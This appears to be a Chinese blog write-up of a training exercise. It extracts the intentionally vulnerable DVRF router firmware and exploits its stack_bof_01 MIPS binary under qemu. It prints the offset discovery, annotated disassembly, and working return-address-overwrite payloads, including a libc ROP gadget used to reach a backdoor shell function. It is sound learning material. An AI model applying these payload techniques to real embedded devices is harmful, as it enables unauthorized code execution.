DVRF_Intro_stack_bof_01

14 篇文章 3 订阅


这篇笔记是第一次固件分析的记录。

1. 环境

QEMU环境请参考另一篇博客:https://blog.csdn.net/Ga4ra/article/details/123959989

下载DVRF:ttps://github.com/praetorian-inc/DVRF。可以从gitee上搜一下,有很多镜像。

2. 提取固件

目录:

starr@starr-VirtualBox:~/Documents/iot/DVRF-master$ tree
.
├── Firmware
│   ├── DVRF_v03.bin
│   └── FW_LICENSE_E1550_v1.0.03.002.html
├── gdb
│   ├── gdb binaries
│   │   └── mips-i
│   │       ├── Big Endian
│   │       │   ├── gdb
│   │       │   └── gdbserver
│   │       └── Little Endian
│   │           ├── gdb
│   │           └── gdbserver
│   └── gdb_static_mipsle-be.tar
├── Pwnable Source
│   ├── Intro
│   │   ├── heap_overflow_01.c
│   │   ├── stack_bof_01.c
│   │   └── uaf_01.c
│   └── ShellCode_Required
│       ├── socket_bof.c
│       ├── socket_cmd.c
│       └── stack_bof_02.c
├── README.md
└── Source Code
    ├── clean.sh
    ├── DVRF_v03_source.tar.001
    ├── DVRF_v03_source.tar.002
    ├── DVRF_v03_source.tar.003
    ├── DVRF_v03_source.tar.004
    ├── DVRF_v03_source.tar.005
    ├── DVRF_v03_source.tar.006
    ├── DVRF_v03_source.tar.007
    ├── DVRF_v03_source.tar.008
    ├── DVRF_v03_source.tar.009
    ├── DVRF_v03_source.tar.010
    ├── DVRF_v03_source.tar.011
    ├── DVRF_v03_source.tar.012
    └── merge_and_extract.sh

10 directories, 28 files

扫描一下固件:

$ binwalk DVRF_v03.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             BIN-Header, board ID: 1550, hardware version: 4702, firmware version: 1.0.0, build date: 2012-02-08
32            0x20            TRX firmware header, little endian, image size: 7753728 bytes, CRC32: 0x436822F6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x192708, rootfs offset: 0x0
60            0x3C            gzip compressed data, maximum compression, has original file name: "piggy", from Unix, last modified: 2016-03-09 08:08:31
1648424       0x192728        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6099215 bytes, 447 inodes, blocksize: 65536 bytes, created: 2016-03-10 04:34:22

文件系统是squashfs,开始提取:

$ binwalk -Me DVRF_v03.bin 
...
$ ll -h
total 9.6M
drwxrwxr-x  3 starr starr 4.0K 45 14:41 ./
drwxrwxr-x  3 starr starr 4.0K 45 14:41 ../
-rw-rw-r--  1 starr starr 5.9M 45 14:41 192728.squashfs
-rw-rw-r--  1 starr starr 3.7M 45 14:41 piggy
drwxr-xr-x 14 starr starr 4.0K 310  2016 squashfs-root/
$ ll -h squashfs-root/
total 56K
drwxr-xr-x 14 starr starr 4.0K 310  2016 ./
drwxrwxr-x  3 starr starr 4.0K 45 14:41 ../
drwxr-xr-x  2 starr starr 4.0K 310  2016 bin/
drwxr-xr-x  2 starr starr 4.0K 310  2016 dev/
drwxr-xr-x  3 starr starr 4.0K 45 14:41 etc/
drwxr-xr-x  3 starr starr 4.0K 310  2016 lib/
lrwxrwxrwx  1 starr starr    9 45 14:41 media -> tmp/media
drwxr-xr-x  2 starr starr 4.0K 310  2016 mnt/
drwxr-xr-x  2 starr starr 4.0K 310  2016 proc/
drwxr-xr-x  4 starr starr 4.0K 310  2016 pwnable/
drwxr-xr-x  2 starr starr 4.0K 310  2016 sbin/
drwxr-xr-x  2 starr starr 4.0K 310  2016 sys/
drwxr-xr-x  2 starr starr 4.0K 310  2016 tmp/
drwxr-xr-x  6 starr starr 4.0K 310  2016 usr/
lrwxrwxrwx  1 starr starr    7 45 14:41 var -> tmp/var
drwxr-xr-x  2 starr starr 4.0K 310  2016 www/

注意到有www目录:

$ ll www
total 12
-rw-r--r--  1 starr starr 1308 310  2016 index.asp

是asp脚本,就不搭环境访问了。

有漏洞的程序在pwnable目录下:

$ tree pwnable/
pwnable/
├── Intro
│   ├── heap_overflow_01
│   ├── README
│   ├── stack_bof_01
│   └── uaf_01
└── ShellCode_Required
    ├── README
    ├── socket_bof
    ├── socket_cmd
    └── stack_bof_02

先拿Intro/stack_bof_01练手。

3. stack_bof_01小练

需要将qemu放在squashfs-root文件夹下。使用chroot指定当前文件夹为根目录运行相关的命令:

$ cp $(which qemu-mipsel-static) ./
$ sudo chroot ./ ./qemu-mipsel-static /bin/busybox
BusyBox v1.7.2 (2016-03-09 22:33:37 CST) multi-call binary
...

因为qemu-mipsel-static是静态编译的,所以只拷贝它就行了,如果是qemu-mipsel,就得把ldd依赖的库拷过来。

不用chroot的话会报错:

$ qemu-mipsel-static bin/busybox
/lib/ld-uClibc.so.0: No such file or directory

uClibc是一个用于嵌入式的小型c标准库(u是微小的意思)。还有一个eglibc,是glibc的嵌入式版本。

uClibc下载地址:https://www.uclibc.org/downloads/binaries/0.9.30.1/。当然也可以用buildroot编译。

信息收集

$ program=pwnable/Intro/stack_bof_01
$ file $program
pwnable/Intro/stack_bof_01: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
$ ldd $program
        not a dynamic executable
$ checksec $program
    Arch:     mips64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
$ mipsel-linux-gnu-readelf -h $program
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x400630
  Start of program headers:          52 (bytes into file)
  Start of section headers:          3900 (bytes into file)
  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         29
  Section header string table index: 26

一个32位mips程序(checksec有bug???),小端序(LSB),没有什么保护。

黑盒测试

$ sudo chroot ./ ./qemu-mipsel-static pwnable/Intro/stack_bof_01
Usage: stack_bof_01 <argument>
-By b1ack0wl
starr@starr-VirtualBox:~/Documents/iot/DVRF-master/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-mipsel-static pwnable/Intro/stack_bof_01 111111111
Welcome to the first BoF exercise!

You entered 111111111
Try Again
$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 `cyclic 1000`
...
Segmentation fault
$ sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20220406-014557_4998.core -q
Reading symbols from ./pwnable/Intro/stack_bof_01...(no debugging symbols found)...done.
BFD: warning: /home/starr/Documents/iot/DVRF-master/Firmware/_DVRF_v03.bin.extracted/squashfs-root/./qemu_stack_bof_01_20220406-014557_4998.core is truncated: expected core file size >= 2155917312, found: 45056
[New LWP 4998]
Core was generated by `haaeiaae'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x63616162 in ?? ()
$ cyclic -l 0x63616162
204

程序把argv[1]存到缓冲区,在偏移204的地方覆盖了返回地址。

反汇编

$ mipsel-linux-gnu-objdump -M mipsel -d ./stack_bof_01

./stack_bof_01:     file format elf32-tradlittlemips
...
004007e0 <main>:
...
00400950 <dat_shell>:
...

objdump这个可读性太差了,所以还是用ida吧:

text:004007E0 05 00 1C 3C+                li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:004007E0 F0 84 9C 27
.text:004007E8 21 E0 99 03                 addu    $gp, $t9
.text:004007EC 18 FF BD 27                 addiu   $sp, -0xE8       # 开辟栈
.text:004007F0 E4 00 BF AF                 sw      $ra, 0xE0+var_s4($sp)
.text:004007F4 E0 00 BE AF                 sw      $fp, 0xE0+var_s0($sp)  # 备份寄存器
.text:004007F8 21 F0 A0 03                 move    $fp, $sp
.text:004007FC 10 00 BC AF                 sw      $gp, 0xE0+var_D0($sp)
.text:00400800 E8 00 C4 AF                 sw      $a0, 0xE0+arg_0($fp)
.text:00400804 EC 00 C5 AF                 sw      $a1, 0xE0+arg_4($fp)
.text:00400808 1C 80 82 8F                 li      $v0, dword_400000
.text:0040080C 00 00 00 00                 nop
.text:00400810 88 0B 42 94                 lhu     $v0, (word_400B88 - 0x400000)($v0)
.text:00400814 00 00 00 00                 nop
.text:00400818 18 00 C2 A7                 sh      $v0, 0xE0+var_C8_buf($fp)
.text:0040081C 1A 00 C2 27                 addiu   $v0, $fp, 0xE0+var_C6
.text:00400820 C6 00 03 24                 li      $v1, 0xC6
.text:00400824 21 20 40 00                 move    $a0, $v0         # s
.text:00400828 21 28 00 00                 move    $a1, $zero       # c
.text:0040082C 21 30 60 00                 move    $a2, $v1         # n
.text:00400830 40 80 99 8F                 la      $t9, memset
.text:00400834 00 00 00 00                 nop
.text:00400838 09 F8 20 03                 jalr    $t9 ; memset
.text:0040083C 00 00 00 00                 nop
.text:00400840 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:00400844 E8 00 C2 8F                 lw      $v0, 0xE0+arg_0($fp)  # $v0 = argc
.text:00400848 00 00 00 00                 nop
.text:0040084C 02 00 42 28                 slti    $v0, 2           # $v0 = ($v0 < 2) ? 1 : 0
.text:00400850 0E 00 40 10                 beqz    $v0, loc_40088C  # if ($v0 != 0)  puts(); exit(1)
.text:00400854 00 00 00 00                 nop
.text:00400858 1C 80 82 8F                 li      $v0, dword_400000
.text:0040085C 00 00 00 00                 nop
.text:00400860 10 0B 44 24                 addiu   $a0, $v0, (aUsageStackBof0 - 0x400000)  # "Usage: stack_bof_01 <argument>\r\n-By b"...
.text:00400864 54 80 99 8F                 la      $t9, puts
.text:00400868 00 00 00 00                 nop
.text:0040086C 09 F8 20 03                 jalr    $t9 ; puts
.text:00400870 00 00 00 00                 nop
.text:00400874 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:00400878 01 00 04 24                 li      $a0, 1           # status
.text:0040087C 34 80 99 8F                 la      $t9, exit
.text:00400880 00 00 00 00                 nop
.text:00400884 09 F8 20 03                 jalr    $t9 ; exit
.text:00400888 00 00 00 00                 nop
.text:0040088C              # ---------------------------------------------------------------------------
.text:0040088C
.text:0040088C             loc_40088C:                              # CODE XREF: main+70↑j
.text:0040088C 1C 80 82 8F                 li      $v0, dword_400000
.text:00400890 00 00 00 00                 nop
.text:00400894 40 0B 44 24                 addiu   $a0, $v0, (aWelcomeToTheFi - 0x400000)  # "Welcome to the first BoF exercise!\r\n"...
.text:00400898 54 80 99 8F                 la      $t9, puts
.text:0040089C 00 00 00 00                 nop
.text:004008A0 09 F8 20 03                 jalr    $t9 ; puts
.text:004008A4 00 00 00 00                 nop
.text:004008A8 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:004008AC EC 00 C2 8F                 lw      $v0, 0xE0+arg_4($fp)  # $v0 = args
.text:004008B0 00 00 00 00                 nop
.text:004008B4 04 00 42 24                 addiu   $v0, 4
.text:004008B8 00 00 42 8C                 lw      $v0, 0($v0)      # $v0 = args[1]
.text:004008BC 00 00 00 00                 nop
.text:004008C0 21 18 40 00                 move    $v1, $v0         # $v1 = $v0 = args[1]
.text:004008C4 18 00 C2 27                 addiu   $v0, $fp, 0xE0+var_C8_buf  # !!!!!!!!!!!!!!!!!!!!!!!!!!!
.text:004008C8 21 20 40 00                 move    $a0, $v0         # dest
.text:004008CC 21 28 60 00                 move    $a1, $v1         # src
.text:004008D0 60 80 99 8F                 la      $t9, strcpy
.text:004008D4 00 00 00 00                 nop
.text:004008D8 09 F8 20 03                 jalr    $t9 ; strcpy     # strcpy(buf, args[1])
.text:004008DC 00 00 00 00                 nop
.text:004008E0 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:004008E4 00 00 00 00                 nop
.text:004008E8 1C 80 82 8F                 li      $v0, dword_400000
.text:004008EC 00 00 00 00                 nop
.text:004008F0 68 0B 44 24                 addiu   $a0, $v0, (aYouEnteredS - 0x400000)  # "You entered %s \r\n"
.text:004008F4 18 00 C2 27                 addiu   $v0, $fp, 0xE0+var_C8_buf
.text:004008F8 21 28 40 00                 move    $a1, $v0
.text:004008FC 5C 80 99 8F                 la      $t9, printf
.text:00400900 00 00 00 00                 nop
.text:00400904 09 F8 20 03                 jalr    $t9 ; printf
.text:00400908 00 00 00 00                 nop
.text:0040090C 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:00400910 00 00 00 00                 nop
.text:00400914 1C 80 82 8F                 li      $v0, dword_400000
.text:00400918 00 00 00 00                 nop
.text:0040091C 7C 0B 44 24                 addiu   $a0, $v0, (aTryAgain - 0x400000)  # "Try Again\r"
.text:00400920 54 80 99 8F                 la      $t9, puts
.text:00400924 00 00 00 00                 nop
.text:00400928 09 F8 20 03                 jalr    $t9 ; puts
.text:0040092C 00 00 00 00                 nop
.text:00400930 10 00 DC 8F                 lw      $gp, 0xE0+var_D0($fp)
.text:00400934 41 00 02 24                 li      $v0, 0x41  # 'A'
.text:00400938 21 E8 C0 03                 move    $sp, $fp
.text:0040093C E4 00 BF 8F                 lw      $ra, 0xE0+var_s4($sp)	# !!!!!!!!!!!!!!!!!!!
.text:00400940 E0 00 BE 8F                 lw      $fp, 0xE0+var_s0($sp)
.text:00400944 E8 00 BD 27                 addiu   $sp, 0xE8        # 恢复栈
.text:00400948 08 00 E0 03                 jr      $ra
.text:0040094C 00 00 00 00                 nop
.text:0040094C              # End of function main

是调用strcpy导致的溢出。buf存储在$fp+0xE0+var_C8_buf, 返回地址存储在0xE0+var_s4($sp) == $fp + 4 + 0xe0,差值0xe4-(0xe0-0xc8) == 204,和崩溃获取的偏移一样。

调试一下吧,开启gdbserver监听:

$ sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01	aaaabbbbccccdddd

新开终端, 用题目提供的gdb/gdb binaries/mips-i/·Big Endian/gdb会报错,gdb-multiarch可以用,但pwndbg和gef不给力,貌似在ubuntu 18.04上就会这样:

$ ./qemu-mipsel-static ./gdb pwnable/Intro/stack_bof_01
: can't handle reloc type 0x2f
$ gdb-multiarch ./pwnable/Intro/stack_bof_01
pwndbg> target remote localhost:1234
...
Python Exception <class 'gdb.error'> Remote connection closed:
Segmentation fault (core dumped)

没有插件的gdb太难用了,,还是用IDA远程调试吧,回头再用qemu system试试。

过程就不截图了,反正栈地址里的返回地址和buf差值确实是204。

README里写着,程序自带后门,其实就是dat_shell函数,它会执行system("/bin/sh -c"),所以输入204个字符后面跟上00400950 <dat_shell>就是payload。

payload

sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 ` python2 -c 'print("a"*204 + "\x50\x09\x40\x00")'`
...
Try Again
Segmentation fault

没有成功,调试一下:

sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'`

发现是\x09变成了\x00,,,第一反应是被截断了:

7FFFF410  61616161  aaaa
7FFFF414  7F710050  P.q.

换种写法,加上双引号就不会截断了:

sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python2 -c 'print("a"*204 + "\x50\x09\x40\x00")')"

成功执行到dat_shell,但在地址0x00400970发生了段错误:

.text:00400950 li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00400958 addu    $gp, $t9
.text:0040095C addiu   $sp, -0x20
.text:00400960 sw      $ra, 0x18+var_s4($sp)
.text:00400964 sw      $fp, 0x18+var_s0($sp)
.text:00400968 move    $fp, $sp
.text:0040096C sw      $gp, 0x18+var_8($sp)
.text:00400970 li      $v0, dword_400000	# segmentation fault
...
.text:0040099C addiu   $a0, $v0, (aBinShC - 0x400000)   # "/bin/sh -c"
.text:004009A0 la      $t9, _system
.text:004009A4 nop
.text:004009A8 jalr    $t9 ; system
.text:004009AC nop
.text:004009B0 lw      $gp, 0x18+var_8($fp)
.text:004009B4 move    $a0, $zero                       # status
.text:004009B8 la      $t9, _exit
.text:004009BC nop
.text:004009C0 jalr    $t9 ; exit
.text:004009C4 nop

在MIPS中,函数内部会通过 t 9 寄 存 器 和 t9寄存器和 t9gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,

如果在执行00400958 addu $gp, $t9是手动把$t9改成0x00400950,后面就正常了。

有一种作弊的方法,直接跳到0x0040095C,但我测试并没有getshell。

所以现在需要找一个gadget,通过t9跳转过去,这也是mips常规的用法,比如main开头调用memet。

一般是从libc.so里找。用IDA打开固件里的lib/libc.so,执行以下python命令:

mipsrop = mipsrop.MIPSROPFinder()
mipsrop.find("lw")
mipsrop.find("jalr")

没有找到有用的gadget,不知道网上的wp到底是怎么找到6B20处的gadget的。。。

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24                 jalr    $t9

然后需要确定libc.so的基址,主程序调用过memset,可以用ida执行一次memset,填充got后获取地址,减去它在libc.so里的偏移:

.text:00400830 la      $t9, unk_7F700E10
.text:00400834 nop
.text:00400838 jalr    $t9 ; memset

libc.so里的偏移:

text:0001BE10 memset:                                 
.text:0001BE10
.text:0001BE10                 slti    $t1, $a2, 8

所以libc.so基址是0x7F700E10 - 0x0001BE10 == 0x7f6e5000

gadget基址就是0x7f6e5000 + 0x6B20 == 0x7f6ebb20

$ sudo chroot ./ ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python2 -c 'print("a"*204 + "\x20\xbb\x6e\x7f\x50\x09\x40\x00")')"
...
Congrats! I will now execute /bin/sh
- b1ack0wl

还是没有返回shell,,写了个程序执行system("/bin/sh -c"),也应该返回一个缺少参数的提示。猜测可能和qemu有关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值